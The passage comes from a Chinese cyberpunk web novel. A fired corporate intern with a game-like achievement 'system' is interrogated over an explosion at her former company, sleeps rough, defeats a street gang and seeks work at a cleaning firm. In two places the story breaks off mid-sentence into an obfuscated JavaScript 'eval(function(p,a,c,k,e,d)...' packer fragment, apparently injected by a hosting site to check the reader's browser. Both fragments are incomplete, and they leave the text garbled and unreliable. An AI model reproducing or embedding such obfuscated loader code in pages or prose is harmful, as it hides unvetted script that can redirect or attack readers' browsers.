《赛博打工人绝不认输》 1. 鬼才 “姓名?” “黎初。” “公民编号?” “SD-H048-0321-P5-3。” “知道为什么进来吗?” “知道。” 审讯桌对面,坐在智能软包椅上的女孩沉痛地说。 “我炸了公司。” “——您是想听我这么说吧?”她叹口气,重新抬起头,脸上是完完全全的真诚,“但我真是无辜的。” 为了给嫌疑人施加心理压力,头顶的灯光永远明亮而刺目——任何地方的审讯室都是如此,废丘的暴力执法机关也不例外。哪怕只有一丝的迟疑或心虚都会在强光下无所遁形,而她正如自己所说,眼神清澈得像个刚刚毕业的学生。 她确实是。 身着废丘稽查局制服的年轻男人翻动面前档案。 黎初,二十一岁,五等公民。 两个月前,以本科毕业生的身份进入生命集团分部实习……并于昨天遭到开除。 女孩留着仅比耳根长一些的乌黑短发,眉眼在安静的时候会显得锋利冷淡,但眼神一旦流转起来就分外灵动。 因为还无法锁定嫌疑,她没有配备拘束装置,只佩戴着一个合金头环。 头环外壳表面蚀刻着精巧的电路纹路,幽蓝色的全息光带环绕在她眼睛周围,不间断的闪烁代表它处于随时扫描的状态。 这是最新型号的神经脉冲测谎仪,内置的纳米级探针阵列可以实时读取脑电波图谱,即便目标对象经过抗审讯义体改造,仪器依然能通过算法比对出最细微的变化。 “你离开半小时后,分部大楼就发生了爆炸。”两名警察中较为年老的那个语气冰冷,“数处管道同时炸裂,虽然没什么人员伤亡,但造成的巨额经济损失仍在评估,而受灾最严重的地方正是你前上司的办公室——” “……噗。” 老警察:“?” 黎初正色,“我天生爱笑。” 年轻警官一脸无语。 “你明明在幸灾乐祸,”他小声嘀咕,“全程都没有停过。” 他马上被旁边的前辈瞪了一眼。 “那没办法,”黎初坦诚微笑,“听到开除的时候还在PUA你的领导倒霉就是天底下最愉快的事。” 测谎仪没响。 年轻警官下意识想跟着点头,在这么做之前又被瞪了一眼。 “——你有充分的犯案动机。”老警官将话题拉回正轨,鹰一样的眼睛盯紧了黎初的反应,“这完全可以看作是对财阀的报复。隐瞒或撒谎属于妨碍司法,你现在不说,等我们查清楚就晚了。” 无论真相如何,稽查局必须给生命集团一个交代。 “那您大可以调取监控。”黎初说,“我听说在废丘,一举一动都处在稽查局AI的监管之下,为什么不用这个给我定罪,是不想吗?” 她对面的稽查局警员差点一口气没上来。 挑衅,这是明晃晃的挑衅。 偏偏从她嘴里说出来就多了几分发自肺腑的疑问,简直像她在真心为此感到困惑——如果不是身份所限,连她都想亲自上阵帮忙找证据了。 除非……她的确是无辜的。 或者,她打心眼里相信自己是无辜的。 “我保证,我没有任何报复的想法。” 黎初说。 “从来到生命集团的那一刻起,我就只想作为实习生好好表现,来让大家对我有个深刻的印象。” “仅此而已。” 测谎仪的信号自始至终很平稳。 …… 外面日头正好。 废丘的好天气比手游里的SSR还稀有,这座建立在战争遗址上的庞大自由都市时至今日依然残存着各类重污染,哪怕是遇到了难得的晴天,景色也如同套了层怀旧滤镜那样泛着黄,但——它至少是个晴天。 被无罪释放的黎初心情就像阳光一样明媚。 走出区警署的大门,她极目远眺时,脑内突然响起了一道机械音。 【……终于出来了。】 “哟,”黎初说,“你活啦?” 【我本来就没死!】 “但你那时候突然消失,我还以为你被我气死了呢。” 【……你语气为什么那么跃跃欲试?】 “错觉。你听错了。” 【我是你的系统!放尊重点!系——统——懂不懂,发金手指的那种!】 “哇,你懂好多哦——”黎初配合地追捧道,赶在它急眼前一秒变回正常语调,“好好好,懂懂懂。” “那我算是达成条件了吧?” 【……】 黎初是个游戏宅。 重度的那种。 平时闲暇时间最热衷的就是收集白金奖杯——这是游戏厂家为了激励玩家完成所有犄角旮旯的任务而设置的成就系统。换言之,她是那种会将游戏内容探索到极致的深度玩家。 而她近期尤为关注的那款游戏,名字叫作《废丘》。 作为史上第一款全息游戏,《废丘》的宣传PV堪称一鸣惊人,甫一公布就引起了全球轰动。 赛博朋克世界观那标志性的不夜城中,造型优雅美观的浮空车在大厦间穿梭,直入云霄的高塔下霓虹交错,闪耀于街头巷尾的是帮派火并所迸发出的枪炮硝烟。镜头一转,长袍信众膜拜着的石砌祭坛上方,神像隐入了无数字符长串闪过的数据海洋。 离正式公测还有两个月,黎初眼睛一闭一睁,发现自己穿成了财阀的新晋实习生,所处的地点好死不死也叫废丘。 面前的光头上司顶着一对金鱼般凸起的机械眼,唾沫横飞地拍桌子要开除她,因为她“能力差”还“不知感恩”,“不乐意吃苦就滚”,反正“有的是人想干”。 与此同时,她的脑袋里还有另一道机械音在做自我介绍,温文尔雅,谦和有礼,一板一眼得就像在介绍自家业务的人工智能客服。 【你好,欢迎绑定职业成就系统。】 【请容我介绍一下,每当宿主拓展一门新职业,在该领域内满足特定条件即可解锁相关成就,并获得相应特殊奖励。】 【同时,本系统将依据不同阶段的进展而发布任务,完成任务同样会获得丰厚奖励——】 光头上司还在痛数她对他有多不尊敬。 一边悲,一边喜,还得分神扮演出尴尬而不失悔过的微笑,黎初差点被这内外双重奏拉扯得精神分裂。 被轰出办公室的时候,黎初从系统口中听说她的当前身份是生命集团的实习生,她马上明白了,这种财阀往往掌控着城市命脉,成为它的员工就等于一只脚踏进了天堂入口。 可惜是限时体验卡,时间还剩不到三十分钟。 她需要在半小时内打包好自己的东西,麻溜地连人带包滚出公司。 【当前为新手教程阶段。】 【宿主将于二十七分钟后失去实习生身份,成就只能由保有身份期间的行为完成。】 【成就共有两种,分为条件成就和隐藏成就——隐藏成就需宿主自行探索,满足隐藏条件后直接解锁;条件成就为明牌条件,需在触发后达成提示条件方可解锁。】 而当时,摆在她面前的就是个条件成就。 还有二十六分钟。 黎初听完那个成就的条件,沉默片刻,回到了自己的工位,查看工作内容并交接完毕,收拾好行囊后又重新敲响了顶头领导的门。 一通溜须拍马加端茶倒水之后,快要被哄成个胚胎的光头上司依旧残忍无情地拒绝让她恢复原位,脸上写满了“我就是想看你被打破希望的样子,你能把我怎么地”。 于是黎初如他所想,黯然地将水杯放在他过热的机箱旁边,黯然地转身离去,黯然地路过了管道井,黯然地走出公司大门,顺着街道溜达了半个小时,向自己的昔日老家投去黯然的最后一眼。 是时候见证真正的艺术了。 “轰——” 突如其来的巨响吸引了街上所有人的视线,在不约而同集中在同一处的目光里,矗立在众多建筑物中的宏伟高塔飞扬出灰白烟尘。 随后是从那段楼体飘向上空的袅袅黑烟,但这短暂的火势不一会儿就自发灭掉,取而代之的是淅淅沥沥顺着高塔淌出来的污水,就像有一把巨大的水枪,从里面噗呲噗呲地往外喷出大朵水花。 她的前公司爆炸了。 街道上空沉淀着静寂,紧接着,就有人打破了沉默——欢呼雀跃的叫好声此起彼伏,直到稽查局的警车闪烁着红蓝双色灯呼啸而过为止。 只有一直正儿八经的系统在她脑海中发出尖锐爆鸣。 【我靠——】 然后它就没声了。 黎初差点以为它被自己气死了。 【我有文明语言模块!】 此时此刻,终于死而复生的系统愤怒地争辩道。很显然,现在的它已经不是之前正经八百的它了。 【我被禁言了!十五个小时,你知道我这十五个小时是怎么过的吗?!】 既然它问了,黎初谦虚地猜了一下,“你一直在回味我的精彩表演?” 系统:“……” 它被她的脸皮惊呆了。 “搞快点,我肯定达成条件了,成就呢?” 黎初总觉得自己听到了磨牙的声音,但它还是心不甘情不愿地开了口。 【恭喜你解锁成就:“令人印象深刻的实习生”。】 【说明:喜欢你初入职场的第一课吗?用你仅存的时间继续发光发热吧!当你解锁该成就的时候,说明你的(前)公司想起你了,说不定他们有一天会把你招回来呢?】 “挺喜欢的,”黎初说,“你喜欢吗?” 【……】 “这可怪不了我,谁让最后一项工作的交接方是库房。”她自然道,“顺点东西走是人之常情。废水也是他们自己乱排的,我只是往管道里加了点糖当催化剂。就是不知道前上司的机箱怎么炸的,谁干的啊,实在太不小心了——” 她小心地尽力避开了摄像头,证据大多也在最初的爆炸中付之一炬,于是倒霉的还得是管理失职又莫名引爆了下水管道的前上司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒙蒙细雨扫在脸上,又凉又轻盈,黎初撑开她从犄角旮旯挖出来的透明伞,在公寓管理员的监督下信步走出正门。 然后……她就失去了目标方向。 黎初有些迷茫地往前走,拿不准自己该去哪儿,最简单的过夜方式就是找个廉价旅馆,但她连这点钱也没有。 这和她只能靠着系统的导航步行回公寓是同一个原因——她现在根本就身无分文。 实习期就被开除,随之而来的是公寓权限封禁、生命健康保险失效、公司账户冻结等等一系列后果。如果那些还不够末路,黎初在翻出钱包的时候就是目睹了真正的绝望。 这么说吧,她宁愿相信是自己出现了幻觉。 打开钱包看不到钱,这幻觉太恐怖了。 黎初孤零零地站在十字路口等绿灯。 头顶圆灯被伞面放大成一圈红光,车辆来来往往,路边大理石方块浸透雨水后折射出绚烂的霓虹灯光,彻底盖过了满目灰暗的天空,反倒衬得眼前亮如白昼。 她看到瘸腿的褴褛者冒雨行走,看到开着四轮车的摇滚小子降下车窗、大笑着冲旁边的同伴竖起中指,也看到她曾经在宣传片里见过的豪华浮空车滑入数十米之外的高空平台,银白车门向上旋开,线条在灯下流光溢彩。 她一无所有,远处那一道道从天空倾泻下来的光学幕布,流淌着的却都是最美好的广告词,比如超人气偶像演出、新型义肢……不一而足。 连绵阴雨是赛博朋克那恒久不变的底调。 但它带来的不仅仅是灰暗,水光之下,低洼与穿透它的辉煌同色。 ——这里是废丘。 黎初忽然想起了游戏的宣传语。 一个百废待兴,却充满梦想的地方。 你可能一朝跌入谷底,也有可能忽然找到机会——横空出世。 【你知道你从五等公民降到了六等公民吗?】 黎初:“……” 怎么个事儿? “凭什么!”她震怒了。 【连坐。】 系统解释道。 【毕竟你还是爆炸案的嫌疑人选,生命集团不会让你就这么离开,肯定会对你有影响。】 【另外,宿主当前背负的债务总额为二百一十五万信用点,包括学业贷款和医疗贷款。贷款原本直接从工资中扣除,被开除后就转为停供状态。】 “……他们怎么不直接去抢?” 【请宿主注意措辞,学业贷款和医疗贷款都属于社会福利的一部分。宿主要想结束无家可归状态,享受正常的公民权利,就必须清还贷款。】 所以听它的话,好好完成任务,趁早还债—— 黎初恍然大悟。 “换句话说,”她摸摸下巴,“只要我一直流浪,这两百万就永远不用还。” …… 完了。 它绑定了个真鬼才。 2. 新晋打工人 啊,这奔腾的流水,就如同她奔腾的心。 黎初蹲在下水道口旁边看雨水打着旋儿灌进去,仍然没有想好她该何去何从。 雨势较之方才更大了,雨点噼里啪啦地打在地上,从伞面滚落的水滴顺着伞骨流作一条条细长的竖线,从公寓带出来的小行李箱底部已经洇成了深色。 黎初想找个能免费待着过夜的地方,但转来转去半天,她有充分理由怀疑街区的每个设施都经过了反流浪设计。 屋檐短到几乎没有,墙角都用碎砖块堆成斜坡,就连偶尔会有的长椅也是要么非常窄,要么是凹凸不平的波浪形,还竖着镶嵌了一些圆形铁片,短暂的歇歇脚可以,稍微坐久点都别想。 “在?”她说,“看看人物面板。” 虽然之前在公寓收拾的时候就忙里偷闲看过了,但自己的当前情况确认多少遍也不为过。 系统很配合地弹了面板给她。 虚拟光屏稳稳当当地悬在眼前,固定于空中某处,可以直接用手去点,神情麻木的过往行人却都不约而同地无视了它。 只有她看得到。 【人物面板】 姓名:黎初 年龄:21岁 信用级别:六等公民 教育程度:管理学本科 身份:前生命集团实习生,无业游民 天赋能力:【????】 SAN值:90 义体:无 持续不断的雨丝穿透了光屏,与之截然不同的是墙边整齐排列的六块巨型电子荧幕。雨水被风刮上屏幕,既不聚成水滴也不成股流下,一块块地放大了色彩斑斓的光晕。 她要努力抬起头才能看到上面那排屏幕,不过六块荧屏都播放了同样的影像——一截与人类手臂十分相似的机械义肢正在三百六十度地旋转展示,各个精巧的部件自发拆分又重租,展露出复杂而高端的内在。 左上角艺术化的“生命”二字倒映在黎初的眼睛里,画面很快切换到一个面容姣好的女人,后者的笑容完美无瑕,她说:“掌控进化,掌控命运。” 植入体,俗称“义体”。 赛博朋克的世界观下,伴随着科技的高速发展,人类对自身的改造变得越来越家常便饭。 义体种类五花八门,从外在的手脚到大脑前额皮层乃至脊髓,只有你想不到,没有它改不了,完全保持着原生肉|体的才是少数。 就比如她。 而《废丘》在宣传时就介绍过自家游戏的世界观下有两种战斗方式,一是普通人无缘的天赋能力,即通常所说的“超能力”,那是只有少数幸运儿才能生而觉醒的东西;二就是机械改造,只要亲和性足够,借此同样能与天赋者匹敌。 黎初猜过玩家会有两条路线可走,又或者是二者结合,然而现在看来,她两边都不占优——要么是打满问号的锁定状态,要么干脆没有。 不嘻嘻。 远处有惊雷炸响,淹没过滚轮“骨碌骨碌”的声音,滂沱雨珠激起的水花溅湿了裤脚。 两百万的负债不重要,重要的是她今晚睡哪儿。 【是两百一十五万。】 黎初随口“哦”了声,目光四下逡巡,看到了几扇灭着灯因此可能没人在的窗户。但她盯着街边的摄像头瞅了半天,最终只能遗憾地转回头来。 【……你刚才“啧”了吧?】 “你也太容易听错了。”黎初说,“算了,就那儿吧。” 她看准的位置是一处就近的桥洞。 路边胡乱丢弃着摔碎的酒瓶,未经回收的垃圾袋堆在转角,散发出腻烂的气味。连鞋底和地面分离时都有点藕断丝连的粘连感,再往远点,年久失修的电线耷拉下来,裂口和积水碰撞出激情四溢的火花。 这桥洞的条件比起周围已经好出太多,至少没什么闻着就熏人的垃圾,虽然外墙上有大片积年累月攒出的污渍,但比那更夺目的是五彩斑斓的街头涂鸦。喷漆罐涂抹了一层又一层,黎初怀疑连墙体都被喷厚了几厘米,她隐约辨认得出覆盖掉的“生而”什么什么。 黎初收起伞,挑了处干净的地方坐下。 平心而论,桥洞不算宽敞。桥面铺着的是供地上轻轨通行的轨道,一有电车驶过就轰隆隆地震得耳膜难受,不过也只能在这凑合了。 “新手教程完成了,”她问,“接下来的任务是什么?” 系统直截了当地回答她: 【当前任务:找到一份新工作。】 好普通,正当黎初这么想的时候。 【基于当前公民等级,推荐选择—— A.打扫凶案现场的清洁工 B.可疑教团的传单分发员 C.大型巡回鬼屋的日抛NPC D.悬赏金额为十元的通缉犯】 黎初沉默了半分钟。 “你是不是又在报复我?” 【为什么要说又?】 “美女的事你别管。”黎初说,“而且为什么才十块钱,人民群众喜闻乐见的大爆炸只值十块钱?” 【爆炸不是你干的,是你前主管干的。】 “好吧,”黎初一秒接受,“我确实是良民。” 【……那现在这个任务你一定喜欢。】 【主线任务:拯救世界。】 黎初:“……” 什么叫搬起石头砸自己的脚。 “有没有这么一种可能,”她问,“我要拯救的是个碰巧叫‘世界’的人呢?” 【世界,通常指人类赖以生存的环境及其时空范畴,也可以称为The World、砸瓦鲁多——】 “我懂了,太棒了。”黎初真诚地说,“杀了我,就现在。” 一个开局连个碗都没有的我,如何拯救一个过于广袤的你? 桥洞两侧是两道截然不同的风景线。 忽视掉贯穿这条脏乱差小隧道的地面,左边是线缆杂乱的居民区,右边的远处却是直插云霄的高楼大厦,无数窗口透出明亮灯光,落进墨黑夜色里,就是人工制造的满天繁星。 头顶有列车轰然驶过,墙根细微地震动,连雨中打落的两片枯叶也跟着打了两个转儿。 “喂——”黎初冷不丁地双手作喇叭状,大声喊道,“听得到吗?!” “这个操蛋的世界——” 她冲着外面的天空比出中指。 “谁他大爷的爱拯救就拯救去吧!” 回音淹没在车轮与轨道相互挤压的吱嘎声,迸溅出的水花盘旋着流进下水道,“咕咚”一声带来了别的絮语。 “——老大你看,我就说这儿有人。” 黎初倏地噤了声。 时近深夜,大雨瓢泼,除了偶尔刺耳的鸣笛声,没有什么能穿透如此朦胧的帷幕。 除非……他们本来就离得很近。 “我刚才亲眼看见她走进去的,绝对还没跑。” “确定没认错?” “那身衣服怎么可能认错!” “是啊老大,肯定是个公司狗!” “你们说公司出来的怎么能混到这种地步,操,笑死个人。” “财阀那帮孙子不从来都是用人朝前,不用人朝后?没用就被赶出来了呗,活该。” “公司出来的怎么了?他们自己的分部都炸了,不知道是哪个好样的干的哈哈哈哈!” “咱们这叫痛打落水狗!” 幸灾乐祸的大笑此起彼伏地响起来,金属物拖在地面上的摩擦声也越来越近。 黎初:“……” 她突然有种微妙的预感。 她低头看看自己——披着的正是带着生命集团LOGO的制服外套,没办法,衣柜里实在没有几件衣服,只有这件厚点能勉强御寒,不曾想竟然因此被盯上了。 黎初不动声色地站起身,直接放弃了旁边的拉杆箱——这玩意儿只会碍事——当机立断地打算朝着声音的反方向开溜。可惜天不遂人愿,还没走出几步,眼前的洞口边已经闪出了三个人影。 她点儿这么背? “嘿,还是个妞。”打头那个莫霍克头把镶满尖刺的球棒往肩上一扛,“甲壳,你眼神好使,看看她衣服是不是公司的。” 黎初条件反射地跟着回头,看到桥洞另一头也大摇大摆踱出两人。其中一个是个光头,头顶是严丝合缝接在一起的铁板,相连处的铁钉刻意在外面留了几厘米,整个脑袋都因此瞧着坑坑洼洼。 他的眼球在黑暗中闪过几道细小的光,应当是被改造过,黎初在雨声中辨认出机械转动摩擦的声音。 “没跑了,老大。”被叫作甲壳的光头混混跃跃欲试地嘬着牙花,“想不到吧公司狗,谁他妈都有落单的时候。” 黎初:“……” 就离谱。 外面下 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对此感到惊讶的甚至不仅仅是这个混混,黎初自己都没有想到她如此丝滑地在关键时刻侧过了身,直到看见那只手擦着肩头掠过才意识到发生了什么。 而在下一秒,对着迎面挥来的棒球棍,她近乎本能地朝后仰去,由着劈啪作响的电流从鼻尖上方流转而过。 ——等等。 这莫霍克头子刚才不离她挺远的吗?! 来不及思考为什么了,黎初顺从本能舒展身体,以脚尖为中心带动回旋,躲开仍不死心地扑向她的混混,鞋跟重重迎上了他的下颚! “噗——咳咳、嗷!” 那混混哀嚎着捂着发出“嘎巴”脆响的下巴连连后退,女孩看似单薄的身躯所爆发出的惊人力量足以使识时务者退避三舍,但那得是几分钟前。 一旦开始动手,结束就不是轻易由谁说了算了。 她避过拳头,灵巧而精准地攥住那只手腕,顺着它挥来的力量反方向一掰,毫不拖泥带水地在惨叫中卸掉了又一个混混的半边臂膀。后者脱臼的胳膊软绵绵地耷拉着,再次扑来的动作不甘心又迟疑。 短短十几秒折损两人,这以一对五局势来说简直是奇耻大辱。 没关系,甲壳欣喜地看到他们老大已经“闪现”到了这丫头片子身后,重新挥起手中满是金属尖刺的棍棒,电火花即将随着爆裂的一击落下! ——她以本不可能的反应速度回过了头。 黎初余光瞥见身后的残影。 双膝弯曲,肌肉贲张到不可思议的程度,鞋底与地面接触的表面用力到几乎要留下凹痕。 原来如此。 她揪住那名叫甲壳的光头混混后脖颈用力一拽,后者不受控制地往前栽去——铁钉架上尖刺,火花迸裂,直直地坠向莫霍克头经过改造加强的义体双腿! 白光闪过。 桥洞重归黑暗。 遍地鼻青脸肿又挂彩的猪头间,只有一个人还屹然独立。 黎初:“……哇。” 她震撼地看着自己的双手。 不愧是生命集团的录用标准,连个实习生的身体素质都不简单。 她脚边横七竖八地躺了那些抽搐着的混混,虽然还有气,但要么捂着碎了的骨头哀叹,要么爬都爬不起来。换成几分钟以前,黎初断然想不到自己能凭身体遗留的本能反应来了个大获全胜。 黎初三两步走到那领头的莫霍克头跟前,他脑袋两边剃光了,中间仅存的一溜头发被电流烫得焦黑。 她就蹲下来,小心地用两根手指提溜起那撮毛,帮助对方对上自己的眼睛。 “咕、咕姑……” 混混头子哪还有之前的嚣张气焰,他也顾不得老大的风范了,口齿含糊地求饶道:“姑奶奶……饶命……” “放我们一马,我们什么都可以做……” 黎初:“真的?” “比金子还真……真的!” “那好。八小时之内。” 黎初毫不犹豫道。 “去给我找份新工作。” “……” 系统:“???” 混混们:“???” 3. 凶案现场清洁工 “找……”莫霍克头怀疑人生而含糊地反问,“找工作?” 黎初静静回视,“有问题吗?” “还是说……”她意有所指地摸了摸下巴。 你准备退位让贤? 她不介意。 莫霍克头:“???” 他一个激灵,刚才挨揍的记忆瞬间历历在目地浮现在眼前。 他介意!这种事情不要啊! “没——没有!”他忙不迭地连声应道,连滚带爬起了身就想支使着小弟们撤退,“你们还不赶紧——” 背后传来声音,“慢着。” 莫霍克头原地一僵。 “你留下,”黎初笑了,“当人质。” 什么时候找到什么时候走。 莫霍克头:“………………” 他第一次在手下的眼中看到了诸如同情和怜悯之类的情绪——身为老大的面子丢了个十成十,但这现在都不是最重要的了,他放弃希望地一屁股坐回地上,老老实实认怂。 “哦对,”黎初道,“还有过夜的地方——” 【恭喜宿主触发无业游民条目成就。】 【本成就为条件成就,解锁条件是露天度过一夜,天亮即可完成。】 混混们听了她的话,互相对视一眼。 “我们……有个地儿,”其中一人开口道,一百个不情愿暴露自家据点,“可以先待……” “不用了,”黎初马上说,“我就问问。” 还有什么能比成就更重要呢! 混混们:“……???” 虽然不知道为啥不去了,但是好耶! “但是话又说回来——” 黎初道:“有绳子吗?来一根。” 她语气跟点菜似的,然而有点脑子的都知道她要干嘛,小弟们一边掏绳子一边对着自家老大点头哈腰地赔罪,更有甚者还小声说“骨刺老大我们很快就来赎你”。 骨刺面色青红皂白的十分精彩。 ……赶紧滚!! 一帮瘪犊子丢下麻绳跑得比市税局还快,骨刺满脸姹紫嫣红地看着他们一个搀一个冲进雨幕,样子喜出望外得好像那不是各种污染物超标的雨水而是天降甘霖。 他自己则被这小妞提着衣领怼到栏杆跟前,一圈圈绳子绕过去,整个人捆得像长了腿的沙威玛烤肉,要多跌份有多跌份。 “骨先生,”黎初打好最后一个绳结,很有礼貌地说,“我这没什么东西,招待不周,实在是不好意思了。” 骨刺:“……” 你不好意思都这样了,等到好意思还了得? 还有他不姓骨! 但他敢怒不敢言,只能用力睁大还剩下两条缝的肿眼泡,奈何这缝还比不过松子壳,直接证据就是对方一无所觉地坐回行李箱旁边,抱起双臂准备休息。 在警署的前一晚很难说能睡得好,黎初揉揉额角,打算来段小憩。 她闭目养神的努力没过多久就宣告失败。 睡不着,根本睡不着。 虽然她本来也不打算真睡,毕竟跟前还绑着个俘虏,可洞外寒风呼呼地刮,洞里不时就跟着头顶的列车震一阵子,吵得人实在难以心安。 都说幸福是比较出来的,瞧着和栏杆脸贴脸心连心却如坐针毡的那位,黎初觉得时间也没有那么难熬了。 桥洞是一款打点计时器,用阵阵有规律的震动区分开不同时段。雨不知不觉地停了,路灯的范围之外也不再漆黑如墨,黎初眯起眼睛,打量起上方漏进的第一缕天光。 【恭喜你解锁成就:“我来得正是时候”。】 【说明:你是否在为难以入睡的噪音而烦闷?是否还在为辗转反侧的一夜而苦恼?清醒来得不是时候?不,广大年轻人的睡眠救星来得正是时候!】 【成就奖励:F级天赋能力——“何以为家”。】 【只要你把身处地点当成自己的家,你就可以原地享受婴儿般的优质睡眠。当然,如果周围有什么风吹草动,你也能在睡梦中感知并醒来——什么,你问我反应不过来怎么办?安息吧,我的迷你小壮士。】 黎初:“?” “真贴心,”她在心里说,“帮我把以后的流浪生活都解决了。” 【嘿嘿。】 嘿你个头! 黎初翻了个白眼,也不管这动作落在旁人眼里会不会被解读成别的意思,但那头,沉默大半夜的“人质”欲言又止地开了口。 “那啥,姑奶奶,”他说话还那么吐字不清,“要不要咱们换个条件?那群王八羔子一个比一个脑袋不灵光……” 黎初听出来了,这是给她打预防针呢。 “不换。” “我就怕他们给您找的不满意——” 黎初:“我有数。” 谁不知道这年头的应届生难找工作。 不管了,太困了,睡一会儿。 “街头现在就是我的家。”她说,“先找着再说。” 骨刺一愣。 ……她是什么意思? 他听说过公司招揽走狗——招揽人才只讲手段不问出处,难不成这小妞本来就是街头出身,暗示他们不要耍花招,她自己对这些把戏一清二楚? 那她不应该说“现在”,既然说了,有可能是划定这块以后是自己的地盘,他们如果找不到工作就别想再在这儿混了? 骨刺越想越不对劲,越想越冷汗直冒,还准备再试探一番,却见她已经闭上眼睛,又靠回了行李箱边。 骨刺:“???” 他以为又是之前那样的假寐,不料还不到半分钟,对方的呼吸就渐趋绵长,俨然陷入了安眠。 呵,看来她也到极限了。 此时不跑更待何时,作为一介街头小混混,骨刺从来没什么一言为定的观念——特别还是在自己吃了大亏的情况下。他手腕一抖,平时藏在袖口里以防万一的折叠刀片就落在掌心,开始割起反绑住自己双手的绳子。 他吭哧吭哧割了半天,突然觉得背后毛毛的,那种如芒在背的感觉挥之不去。迟疑再三,还是循着直觉回过了头。 黎初笑容满面地望着他。 骨刺:“……” 他汗流浃背了。 ……她是从什么时候开始看的?从一开始,还是故意等到他有所行动才—— “呵、呵呵呵,”骨刺强笑道,继续着刚才的动作扭了几下身体,“我有点痒。” “是吗?”黎初支着下巴,“吓我一跳,我还以为你准备跑呢。” “怎——怎么会!我哪有那个胆子!” “那就好,我继续睡啦。” 骨刺悄悄松了一口气。 果然只是个巧合。 眼看对方重新闭眼,他又硬生生等了好几分钟,直到确认她真的睡着以后,才鬼鬼祟祟地继续起刚才的小动作。 薄而锋利的刀刃来回划拉绳索,纤维断裂的摩擦声几不可闻,只差一点点,只差一点点就能割断第一根—— 骨刺停住了。 他默默转过头。 黎初托着下巴,正在兴味盎然地注视着他。 骨刺:“………………” 他一声不吭,抖着手指丢掉那块刀片。铁片滑进下水道盖落出“扑通”一声,彻底终结了他逃脱的希望。 “早安,”黎初打了个哈欠,“希望今天是和平的一天。” “一定,一定,那必须的!” 骨刺胆战心惊地看着她窝回原位,终于完全放弃挣扎,一心眼巴巴地瞅向小弟们离开的方位,把自己凹成了一块望弟石。 希望终究是存在的,不知过了多久,他在道路尽头远眺到那几道逐渐靠近的熟悉身影,他们边跑过来边振臂高呼: “老大!我们来救你了!” “这见鬼的工作真难找——” “嘘——嘘——”骨刺死命示意,试图让小弟看到自己竖在嘴巴跟前的不存在的食指,“没看人家在睡觉吗?!” “……啊?” 几个混混一脸懵地看着自家老大,上来就要解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“脑机接口免费送,挖情绪养全家:好心态归公司,坏心态归你。” “高薪!!!福利院垃圾回收员急需你的参与!!!” 再一看旁边的小字:仅限五等以上、信用等级高者优先录取…… “卡公民等级了。”她说。 混混们:“……” “不至于吧,”有嘴快的说,“公司出来的怎么会——” 还没说完就被同伴捅了一肘子,连忙讪讪地闭了嘴。 甲壳一直看着,他满脑袋都还焦得发黑,单脚斜支在旁边,鞋底拍得地面“啪嗒啪嗒”直响,似乎想说什么又纠结该不该开这个口。 “我知道一个,就在附近。”他终于说,“是临时工,但不限等级。” “我还认识人,可以带你去看看……” 黎初:“现在?” 混混被她的迫不及待给噎了一下。 “他们应该上班了。”他快速地瞥了眼天色,“……我不保证收不收。” “问题不大。”黎初已经站起身来,“看看就看看。” 她实在是太想进步了! 黎初身无分文这件事还是个秘密,幸亏是段步行就能到的距离,不然她得因为逃票给自己本就岌岌可危的信用级别雪上加霜。 你永远可以相信玩家们对一款备受期待的游戏的热情,早在线下试玩会开始前,列文虎克们就通过几个宣传PV扒出了《废丘》的大致设定。 在废丘,负责执法的暴力机关被称为“稽查局”。大到杀人放火,小到乱闯红灯,一桩桩一件件都逃不过他们的耳目。 稽查局定期会评估废丘全体市民的分数,以此来划定不同等级。 好消息是六等就是最低级了,再扣信用分也只会让数字持续负增长,不会再跌级别。 雨停了,黎初也多长了个记性,脱下公司外套塞进本来也不满的行李箱里,现在从外表是看不出她和公司的关系了。 甲壳在前头摇摇晃晃地领路,他们这种混迹街头的混混对街头巷尾自然是熟得可以,带着她三绕两绕,就钻进了某条背阴的小巷。 他目标明确地直奔其中一家,看来要去的就是那儿了。 怎么说呢…… 不愧是系统严选。 黎初抬起头,看到了招牌的几个大字。 ——安净特殊清洁处置会社。 4. 安净 那算不上什么正经招牌。 棱角坑坑洼洼,灯带时明时暗还掉了色,一看就是被换下来的旧招牌,挂在后面滥竽充数、装点门面。 这里应当是这间“特殊清洁处置会社”的后门,中间镶嵌着玻璃的双开门反锁着,拧了几下没扭开,正对的也是一条空荡荡的走廊,连经过的人影都看不到。 甲壳鬼鬼祟祟地猫在门边,一会儿走上前,一会儿又退回去,探头探脑半天也没下定决心。 黎初:“……?” 怎么看着这么不靠谱。 “你不是说认识人吗?”她问。 “认识……是认识,”甲壳说,“但你不要说是我介绍来的,不然我也不知道他会是什么态度。” “等会儿你就说你找谢云帆。” 他道:“他们日常缺人,只要你有手有脚肯定让你过。” 怎么听着这么像火坑。 她还在腹诽,甲壳直接用力地捶了几下门,“咚咚”的声音响彻走廊。 黎初:“?” 事发突然,甲壳完全不留给她后悔的机会,拔腿就往来时的方向跑,空中只留下他拖长了的声音: “千万别说是我介绍来的!千万千万,千千万万!” 黎初抱着胳膊留在了原地,倒不是她有多信任甲壳声称的说法,而是既然是系统分析得出的推荐结果,那可行性应该还挺高的。 见过那群小混混抓耳挠腮的样子,也知道这种程度就是他们能做到的极限了,要超越极限只有——老大,我不做混混啦! 甲壳砸门的那几下实在是惊天动地,以至于门内很快传来脚步声。有个人影由远及近地走来,由于那两块透明玻璃,黎初甚至还跟对方来了段短暂的大眼瞪小眼。 门锁从里边被打开了。 他长得不错,称得上是清秀,可惜眼下浓重的青黑色和抓得有些乱糟糟的黑发让他整个人都有股挥之不去的班味。或许是觉得方才“敲门”的声音和她的外表不大相符,他开口时有些迟疑。 “你是……?” 黎初说:“我找谢云帆。” 男生愣了一下。 “我就是。”他重新审视她,“找我做什么?” “哦。”黎初反手就把人卖了,“甲壳介绍我过来的,他说你们这里缺人手——他是你什么人?” “甲壳……”谢云帆的表情一时有些复杂,还多了几分慎重,“是我以前的邻居,他怎么会让你来这里?” “因为我俩有缘。” 